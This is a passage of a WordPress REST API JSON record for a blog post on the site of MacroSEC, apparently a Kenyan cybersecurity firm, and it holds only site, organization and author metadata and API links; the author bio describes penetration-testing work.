Haystack"}]},{"@type":"WebSite","@id":"https:\/\/macrosec.tech\/#website","url":"https:\/\/macrosec.tech\/","name":"MacroSEC","description":"Your Cybersecurity Partner - Kenya","publisher":{"@id":"https:\/\/macrosec.tech\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/macrosec.tech\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/macrosec.tech\/#organization","name":"MacroSec Ltd","url":"https:\/\/macrosec.tech\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/macrosec.tech\/#\/schema\/logo\/image\/","url":"https:\/\/macrosec.tech\/wp-content\/uploads\/2018\/04\/MobileIcon_Retine.png","contentUrl":"https:\/\/macrosec.tech\/wp-content\/uploads\/2018\/04\/MobileIcon_Retine.png","width":400,"height":107,"caption":"MacroSec Ltd"},"image":{"@id":"https:\/\/macrosec.tech\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/macrosec.tech\/#\/schema\/person\/d9d95e3245148a5fd3ea964e0775c8a9","name":"Amarjit Labhuram","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/2b2463550dd9f2056d7f5eeb68fe855ca41ae56f9364d6827097858a1d141838?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/2b2463550dd9f2056d7f5eeb68fe855ca41ae56f9364d6827097858a1d141838?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/2b2463550dd9f2056d7f5eeb68fe855ca41ae56f9364d6827097858a1d141838?s=96&d=mm&r=g","caption":"Amarjit Labhuram"},"description":"I am a keen professional geek with a broad range of analytical skills and interests ranging from theoretical physics to practical security architectures. My professional experience is focused on all the common types of penetration testing and some rather less orthodox methods . Extensive exposure to a broad range of businesses, architectures, and technologies backs up the theoretical knowledge I'm able to bring all the way from the keyboard to the boardroom. I'm always looking to learn and develop, but a key part of satisfaction for me is applying skills and knowledge to solve interesting real world problems. I typically do this by constructing a model, validating it, and then reasoning (often mathematically or in code) through the potential solutions finding the one with optimum parameters. For the sake of everybody else I've learned over the years how to convey the jist and the results at the right level to people with diverse backgrounds.","sameAs":["https:\/\/www.linkedin.com\/in\/amarjit-labhuram-51699815\/","https:\/\/x.com\/amarjit_labu"]}]}},"_links":{"self":[{"href":"https:\/\/macrosec.tech\/index.php\/wp-json\/wp\/v2\/posts\/481","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/macrosec.tech\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/macrosec.tech\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/macrosec.tech\/index.php\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/macrosec.tech\/index.php\/wp-json\/wp\/v2\/comments?post=481"}],"version-history":[{"count":89,"href":"https:\/\/macrosec.tech\/index.php\/wp-json\/wp\/v2\/posts\/481\/revisions"}],"predecessor-version":[{"id":693,"href":"https:\/\/macrosec.tech\/index.php\/wp-json\/wp\/v2\/posts\/481\/revisions\/693"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/macrosec.tech\/index.php\/wp-json\/wp\/v2\/media\/483"}],"wp:attachment":[{"href":"https:\/\/macrosec.tech\/index.php\/wp-json\/wp\/v2\/media?parent=481"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/macrosec.tech\/index.php\/wp-json\/wp\/v2\/categories?post=481"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/macrosec.tech\/index.php\/wp-json\/wp\/v2\/tags?post=481"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}